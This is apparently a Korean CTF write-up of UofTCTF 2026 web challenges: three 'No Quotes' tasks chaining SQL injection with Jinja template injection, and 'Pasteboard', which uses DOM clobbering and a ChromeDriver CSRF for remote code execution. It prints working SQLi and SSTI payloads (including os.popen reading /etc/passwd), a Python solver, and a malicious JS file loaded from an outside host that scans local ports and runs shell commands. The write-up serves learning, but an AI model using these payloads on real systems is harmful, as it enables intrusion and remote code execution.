지난 1월에 참가했던 UofTCTF 2026에 대한 롸업을 작성해보려 합니다.
이번 포스팅에서는 WEB 파트를 중점적으로 작성할 예정입니다. (웹밖에 푼게 없기 때문이죠 음하하하)
그럼 가보시죠!
No Quotes
SQLi + SSTI 연계 공격을 통해 플래그를 출력하는 문제였습니다.
사용자가 로그인을 진행할 때 입력한 유저명과 패스워드는 query = ( ... ) 부분에서 사용되는데요.
여기서 입력 값 검증이 수행되지 않고 있어 SQL 인젝션이 가능했습니다.
def login():
username = request.form.get("username", "")
password = request.form.get("password", "")
if waf(username) or waf(password):
return render_template(
"login.html",
error="No quotes allowed!",
username=username,
)
query = (
"SELECT id, username FROM users "
f"WHERE username = ('{username}') AND password = ('{password}')"
)
try:
conn = get_db_connection()
with conn.cursor() as cur:
cur.execute(query)
row = cur.fetchone()
except pymysql.MySQLError:
return render_template(
"login.html",
error=f"Invalid credentials.",
username=username,
)
finally:
try:
conn.close()
except Exception:
pass
if not row:
return render_template(
"login.html",
error="Invalid credentials.",
username=username,
)
session["user"] = row[1]
return redirect(url_for("home"))다만, WAF 함수에 의해 홑따옴표와 쌍따옴표는 사용할 수 없었습니다.
def waf(value: str) -> bool:
blacklist = ["'", '"']
return any(char in value for char in blacklist)취약한 쿼리문은 아래와 같았는데, 유저명과 패스워드 모두 홑따옴표(Single Quote)로 감싸져 있었기 때문에
백슬래쉬(\) 문자를 사용하여 이스케이프 처리하면 강제로 문자열에서 탈출 후 원하는 페이로드 삽입이 가능했습니다.
query = (
"SELECT id, username FROM users "
f"WHERE username = ('{username}') AND password = ('{password}')"
)그래서 요로코롬 페이로드를 작성해서 인젝션을 수행하면 로그인에 성공하여 “test” 계정으로 접속이 됐습니다.
로그인에 성공하면 브라우저에는 “Welcome, {유저명}” 이 출력되었는데요.

현재 계정명을 브라우저에 출력해주는 과정에서 취약한 함수(render_template_string)를 사용하고 있어 SSTI 가 가능했습니다.
@app.get("/home")
def home():
if not session.get("user"):
return redirect(url_for("index"))
return render_template_string(open("templates/home.html").read() % session["user"])
이에, 로그인 성공 시 플래그 파일을 읽는 문자열이 /home 경로로 전달되도록 페이로드를 작성하였고
해당 페이로드가 잘 실행되어서 정상적으로 플래그를 확인할 수 있었습니다.
(SSTI 목표 문자열) {{ url_for.__globals__.os.popen('/readflag').read()" }}
username=\&password=)+UNION+SELECT+1,CHAR(123,123,117,114,108,95,102,111,114,46,95,95,103,108,111,98,97,108,115,95,95,46,111,115,46,112,111,112,101,110,40,39,47,114,101,97,100,102,108,97,103,39,41,46,114,101,97,100,40,41,125,125)#


🐛.. 🐛.. 🐛..
No Quotes 2
이 문제는 No Quotes 에서 약간의 조건이 추가됐습니다.
오른쪽 코드의 101번째 라인부터 보면 알 수 있듯이 조회된 쿼리의 결과(유저명, 패스워드)가
사용자가 username, password 파라미터에 입력한 값과 일치해야 합니다.

이 문제를 풀기 위해서는 사용자가 입력한 값 중 원하는 부분만 쿼리 조회 결과로 출력되도록 설정을 해줘야 하는데요.
이는 INFORMATION_SCHEMA.PROCESSLIST 테이블을 이용하거나 Quine Query 를 이용하면 가능해집니다.
이 방법들은 사용자가 입력한 쿼리 전체를 반환한다는 데에서 공통점을 갖습니다.
( Quine Query 에 대한 내용은 30. ouroboros 문제에서도 한 번 다루었습니다. )

이 문제에서는 INFORMATION_SCHEMA.PROCESSLIST 를 사용할 수 있었기 때문에 수월하게 문제 풀이가 가능했습니다.
아래와 같이 페이로드를 작성하여 서버로 전달하면 username == row[0] and password == row[1] 조건을 만족하므로
서버로부터 세션이 발급되며 /home 페이지로 리다이렉트 되어 로그인에 성공하게 됩니다.

위 내용을 토대로 아래와 같이 username 컬럼에서 조회되는 값에 SSTI 페이로드가 전달되도록 해보겠습니다.
- (1) 그럼
username파라미터에 삽입한 값이 세션(session) 쿠키에 할당되어 새로 발급되고, - (2) 이 값은 /home 경로로 리다이렉트 될 때 템플릿 문자열
%s에 삽입되며 실행될 것입니다.

로그인 성공 후 /home 경로로 리다이렉트 될 때 요청 헤더에 플래그 파일의 경로를 담아 함께 보내면 플래그가 출력됩니다.
- 그렇지 않을 경우 읽으려는 파일의 경로가 없으므로 500 에러가 발생하게 됩니다.
- (SSTI Payload)
{{ url_for.__globals__.os.popen(request.headers.hack).read() }}

🐛.. 🐛.. 🐛..
No Quotes 3
no-quotes-2 문제에서 아래 부분이 추가됐습니다.
- 마침표(.) 문자 WAF 필터링 항목에 추가
- 계정 패스워드 SHA256 해시 값으로 저장, 로그인 시에도 해시 값으로 비교

이제 마침표(.) 문자가 필터링 되기 때문에, INFORMATINO_SCHEMA.PROCESSLIST를 통해서
입력한 쿼리를 뽑는 방식은 사용할 수 없고, url_for.__globals__.os.popen(...) 도 사용할 수 없습니다.
따라서, 이를 우회하기 위해 Jinja filters 와 SQL Quine (a self-reproducing program) 를 함께 사용해줘야 합니다.
SSTI with Jinja filters
먼저, Jinja filters 에서 특정 객체의 빌트인 함수 혹은 속성 값을 추출하는 방식은 다음과 같습니다.
여러 게시글에서 특정 문자(. ' " [])가 필터링 됐을 때 우회하는 방법을 소개하고 있습니다.
foo|attr("bar") → foo.bar ( foo 객체의 속성(bar) 값 가져오기 )- (1) https://onsecurity.io/article/server-side-template-injection-with-jinja2/
- (2) https://jinja.palletsprojects.com/en/stable/templates/
- (3) https://tedboy.github.io/jinja2/templ14.html
- (SSTI 관련) https://skysquirrel.tistory.com/111
- (SSTI 관련) https://me2nuk.com/SSTI-Vulnerability/
- (SSTI 관련) https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Python.md
- (SSTI 관련) https://medium.com/@bssd1358/intigritis-november-challenge-writeup-7483f49067d1
- (SSTI 관련) https://swisskyrepo.github.io/PayloadsAllTheThings/Server%20Side%20Template%20Injection/Python/#exploit-the-ssti-by-calling-ospopenread
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('cat /etc/passwd')['read']() }}
{{ ''.__class__.__mro__[1].__subclasses__()[245]('cat flag',shell=True,stdout=-1).communicate() }}
# 문제 풀이에서 사용한 SSTI 페이로드는 아래와 같습니다.
# 따옴표(' , ")와 마침표(.)를 사용할 수 없었기 때문에 |attr 를 이용했는데요.
# 이는 객체가 보유한 속성 혹은 함수에 접근하여 사용할 수 있는 방법 중 하나로 Jinja2 Template 공식 문서에서도 확인할 수 있습니다.
# 최종적으로 lipsum.__globlals__.os.popen("/readflag").read() 형태로 변환되게 됩니다.
((((lipsum|attr(dict(__globals__=x)|join))[dict(os=x)|join]|attr(dict(popen=x)|join))(((lipsum|attr(dict(__globals__=x)|join))[dict(__builtins__=x)|join][dict(chr=x)|join](47))~(dict(readflag=x)|join)))|attr(dict(read=x)|join))()
SQLi with Quine Query
/login 경로에서 유저명(username)과 패스워드(password)를 입력하는데,
DB에서 쿼리가 실행되어 반환된 password 값과 유저가 입력한 password 의 값이 서로 일치해야 합니다.
( 입력한 패스워드의 SHA256 해시 값과 DB에서 조회된 유저의 SHA256 패스워드가 동일해야 통과 )
query = (
"SELECT username, password FROM users "
f"WHERE username = ('{username}') AND password = (SHA2('{password}', 256))"
)
[ . . . ]
if not username == row[0] or not hashlib.sha256(password.encode()).hexdigest() == row[1]:여기서 사용자가 패스워드(password) 파라미터에 입력한 값과 DB 조회 결과가 동일해야 하기 때문에
Quine Query 를 사용해서 값이 일치하도록 유도를 해줘야 하는데요.
Quine Query 는 아무리 봐도 이해가 잘 되지 않아서 나중에 아래 글을 보며 추가로 분석해보도록..하겠습ㄴ다… (pass)
import requests
import re
BASE_URL = "http://localhost:5000"
def solve():
s = requests.Session()
username = "{{((((lipsum|attr(dict(__globals__=x)|join))[dict(os=x)|join]|attr(dict(popen=x)|join))(((lipsum|attr(dict(__globals__=x)|join))[dict(__builtins__=x)|join][dict(chr=x)|join](47))~(dict(readflag=x)|join)))|attr(dict(read=x)|join))()}}\\"
U = username.encode().hex().upper()
s_template = f") UNION SELECT 0x{U}, SHA2(REPLACE(s, CHAR(36), HEX(s)), 256) FROM (SELECT 0x$ AS s) AS t -- "
S = s_template.encode().hex().upper()
password = s_template.replace('$', S)
r = s.post(f"{BASE_URL}/login", data={"username": username, "password": password})
m = re.search(r"uoftctf\{[^}]*\}", r.text)
print(m.group(0))
if __name__ == "__main__":
solve()
🐛.. 🐛.. 🐛..
Pasteboard
(CSRF + DOM Clobbering) 취약점 연계를 통한 RCE(via Chrome WebDriver)가 가능하여, 이를 통해 플래그를 확인할 수 있던 문제였습니다. 먼저 루트(/) 경로 페이지를 살펴보면 아래와 같은 UI를 확인할 수 있는데요. “New note” 버튼을 클릭하면 신규 노트를 생성(게시)할 수 있고, 이는 “Recent notes” 에 저장됩니다.

“Request Review” 페이지로 접속하면 자신이 작성한 노트를 리뷰해달라고 요청을 보낼 수 있는데요.
서버에서는 리뷰 요청을 받으면 어드민 봇이 헤드리스 크롬을 통해 유저가 작성한 노트 경로로 접속(GET)하게 됩니다.

사용자가 전달한 노트의 주소(/note/xxxxxxx)는 url 파라미터에 담겨 서버로 전달되는데요. 이 값이 129, 132번 라인의 조건문을 통과하게 되면 135번 라인이 실행되며 어드민 봇이 해당 URL로 접속하게 됩니다. 이 구간이 공격자가 어드민 봇으로 하여금 임의의 기능을 수행하도록 유도하는 부분입니다.

이를 위해 먼저 XSS 취약점이 존재하는 구간을 조사하였는데요. 노트의 제목(title)과 내용(content) 중 내용 부분에서 입/출력 값 검증이 수행되지 않고 있었습니다. 그러나, 한 가지 문제점이 있었는데요. XSS 페이로드는 삽입되지만 CSP(컨텐츠 보안 정책) 설정에 의해 스크립트 태그에 “nonce-{임의 랜덤 값}” 이 설정된 경우에만 <script>?</script> 로 스크립트 실행이 가능했습니다.

HTML 렌더링 시 정상적으로 로드된 스크립트 파일(dompurify.min.js, app.js)들을 보면 모두 서버에서 생성된 nonce 값이 자동으로 할당되어 아래 이미지와 같은 형태로 불러와지는 것을 볼 수 있습니다. 공격자가 삽입한 스크립트가 실행되기 위해서는 script-src 'nonce-XYZ' 'strict-dynamic'; 조건을 만족해야만 합니다.

그러나, nonce 값이 서버에서 생성된 후에 render_template 함수에 의해 HTML 파일로 전달되는게 아니라면 공격자가 이를 임의로 변조(삽입)해서 스크립트가 동작하도록 유도하는 건 불가능합니다. 때문에, XSS를 트리거할 수 있는 다른 방법을 찾아야 하는데요. 이는 app.js 파일에서 발견할 수 있었습니다.
// app.js
(function () {
const n = document.getElementById("rawMsg");
const raw = n ? n.textContent : "";
const card = document.getElementById("card");
try {
const cfg = window.renderConfig || { mode: (card && card.dataset.mode) || "safe" };
const mode = cfg.mode.toLowerCase();
const clean = DOMPurify.sanitize(raw, { ALLOW_DATA_ATTR: false });
if (card) {
card.innerHTML = clean;
}
if (mode !== "safe") {
console.log("Render mode:", mode);
}
} catch (err) {
window.lastRenderError = err ? String(err) : "unknown";
handleError();
}
function handleError() {
const el = document.getElementById("errorReporterScript");
if (el && el.src) {
return;
}
const c = window.errorReporter || { path: "/telemetry/error-reporter.js" };
const p = c.path && c.path.value
? c.path.value
: String(c.path || "/telemetry/error-reporter.js");
const s = document.createElement("script");
s.id = "errorReporterScript";
let src = p;
try {
src = new URL(p).href;
} catch (err) {
src = p.startsWith("/") ? p : "/telemetry/" + p;
}
s.src = src;
if (el) {
el.replaceWith(s);
} else {
document.head.appendChild(s);
}
}
})();
먼저 첫 번째로 취약한 구간은 아래 부분입니다. view.html 파일에는 id 값이 renderConfig 인 HTML 요소가 없기 때문에 cfg 상수에는 { mode: (card && card.dataset.mode) || "safe" }; 값이 할당됩니다. 그런데, 만약 공격자가 view.html 파일에 HTML Injection 을 수행하여 id=renderConfig 인 임의의 HTML 요소를 넣는게 가능하다면 cfg 상수에는 window.renderConfig 값이 할당됩니다.
const cfg = window.renderConfig || { mode: (card && card.dataset.mode) || "safe" };
const mode = cfg.mode.toLowerCase();예를 들면, HTML 문서로부터 존재하지 않는 HTML Element id 값을 가져오려고 하면 선행 연산에서 “undefined” 값이 반환되므로 후행 연산의 결과(“postfix”)를 반환합니다. 반대로, id=injected 인 HTML Element 가 존재하면 선행 연산 결과를 리턴하고 후행 연산은 생략됩니다.

따라서, DOM Clobbering 기법을 이용하여 HTML에 특정 id/name을 가진 요소를 주입해, 페이지의 자바스크립트가 참조하는 전역 변수/프로퍼티(특히 window.xxx, document.xxx) 객체를 재할당하면 서버에서 의도치 않은 액션을 수행하도록 유도할 수가 있게 됩니다.

추가로 DOM Clobbering 취약 구간이 하나 더 있는데요. app.js 파일을 받아올 때 19번째 라인을 수정해서 cfg 값을 “undefined” 로 만들면 undefined.mode 라는 속성(properties)은 존재하지 않으므로 “handleError()” 함수가 호출됩니다. 여기서 다시 상수 c 값을 window.errorReporter || { path: "/telemetry/error-reporter.js" }; 로 할당하는데요. view.html 파일에 errorReporter 라는 id를 가진 속성은 없기 때문에 상수 c에는 딕셔너리 객체({ path: "[...].js" })가 할당됩니다. 그런데 만약 공격자에 의해 id=errorReporter, name=path, value={임의 파일 경로} 값을 가진 HTML 요소가 삽입된다면(?) c.path.value 값을 /telemetry/error-reporter.js 파일이 아닌 공격자의 악성 JS 파일로 설정할 수 있게 됩니다.

HTML Injection (renderConfig, errorReporter)
먼저 HTML 파일에 id=renderConfig 인 임의의 HTML 요소를 삽입하면, 아래 이미지에서 볼 수 있듯이 app.js 파일에서 handleError() 함수가 호출되고 웹 서버에 /telemetry/error-reporter.js 파일을 요청하여 받아오게 됩니다.
<a href="" id="renderConfig"></a>
다음으로는 handleError() 호출 시 서버로부터 가져오는 JS 파일을 재설정하는 부분입니다. 이를 위해서는 window.errorReporter.path.value 형식을 만족하는 HTML 요소가 삽입되어야 하는데요. 아래와 같이 폼(form) 태그와 인풋(input) 태그를 이용하여 HTML 요소를 삽입해 볼 수 있습니다. 노트에 HTML 요소를 저장한 후에 그 경로로 접근을 해보면 app.js 파일에서 handleError() 함수가 호출된 후에 /telemetry/error-report.js 파일이 아닌 공격자가 설정한 임의의 파일을 요청하게 됩니다.
<a id="renderConfig"></a>
<!-- window.errorReporter 생성 -->
<form id="errorReporter">
<!-- .path 생성 및 .value 값 설정 -->
<input name="path" value="https://test/malicious.js">
</form>
여기서 <script id="errorReporterScript" src="공격자가 설정한 임의의 JS 파일 경로"> 에 “nonce” 값이 없음에도 정상적으로 공격자의 악성 파일이 로드되는 이유는 ‘strict-dynamic’ 설정 때문입니다. app.js 파일은 view.html 파일이 브라우저에 렌더링 될 때 스크립트 태그(<script nonce="{...}" src="/static/app.js">)에 의해 서버로부터 가져오는 파일인데요. 이 파일은 이미 “nonce” 값이 설정된 스크립트 태그에 의해 로드된 파일이기 때문에 이로부터 생성된 스크립트들은 모두 “신뢰된(trusted) 스크립트”로 인식되어 제한없이 스크립트를 실행할 수 있게 됩니다.
nonce → app.js (trusted)
↓
동적 script 생성
↓
자동으로 trusted
어쨌든 이로써 모든 조건은 갖춰졌습니다. 이제 악성 JS 파일로 어드민 봇이 플래그를 출력하도록 유도하면 됩니다. 어드민 봇이 사용자가 작성한 노트의 URL로 접속할 때는 셀레니움의 헤드리스 크롬이 사용되었는데요. 셀레니움은 크롬 브라우저 실행을 위해 WebDriver 의 세션 생성 엔드포인트(/session)로 요청을 보내게 되는데, ChromeDriver(WebDriver 서버)가 로컬에 열어둔 HTTP 포트를 알 수 없으므로 그 포트를 찾아야 합니다. ChromeDriver는 기본적으로 임의의 포트(32768-60999)를 사용하기 때문에 이 범위 내의 포트를 전수 조사해보면 됩니다.
Python 코드 (selenium 라이브러리)
↓
HTTP 요청
↓
ChromeDriver (WebDriver 서버, 로컬 HTTP 서버)
↓
Chrome 프로세스 실행
ChromeDriver CSRF to RCE
최종적으로 사용한 페이로드는 아래와 같습니다. DOM Clobbering 기법으로 공격자 서버로부터 악성 JS 파일을 받아오고, 이 JS 파일의 원격 명령 실행(RCE) 페이로드에 의해 /app/bot..py 파일이 /app/static/ 경로에 “output” 이라는 파일명으로 저장되게 됩니다. bot.py 파일에는 플래그 정보가 저장되어 있었기 때문에 이 파일 값을 읽으면 플래그 값을 획득할 수 있습니다.
DOM Clobbering ( id → renderConfig, errorReporter )
<a id="renderConfig"></a>
<form id="errorReporter">
<input name="path" value="https://soneg4rizzle.site/DOMClobbering.js">
</form>// Malicious javascript file
const options = {
mode: "no-cors",
method: "POST",
body: JSON.stringify({
capabilities: {
alwaysMatch: {
"goog:chromeOptions": {
binary: "/usr/local/bin/python",
args: ["-c", "__import__('os').system('head /app/bot.py > /app/static/output')"],
},
},
},
}),
};
const scanPorts = async () => {
const startPort = 32768;
const endPort = 61000;
const timeoutMs = 100; // Fast timeout for local scanning
const checks = [];
for (let port = startPort; port < endPort; port++) {
const check = (async () => {
const controller = new AbortController();
const id = setTimeout(() => controller.abort(), timeoutMs);
try {
await fetch(`http://127.0.0.1:${port}/session`, {
...options,
signal: controller.signal,
});
console.log(`Found active session at port: ${port}`);
} catch (error) {
// Ignore errors (timeouts/refused connections)
} finally {
clearTimeout(id);
}
})();
checks.push(check);
}
await Promise.all(checks);
console.log('Scan complete');
};
scanPorts();요로코롬 노트에는 DOM Clobbering + CSRF를 유발하는 HTML 요소를 삽입해주고요!
생성된 노트의 URL을 서버에 전달하여 어드민 봇이 해당 URL에 접속하도록 합니다.

이제 JS 파일의 스크립트가 실행되도록 조금 기다렸다가 /static/output 파일을 읽으면?!
쨔아아아아안하고 플래그 값을 확인할 수 있습니다.

🐛.. 🐛.. 🐛..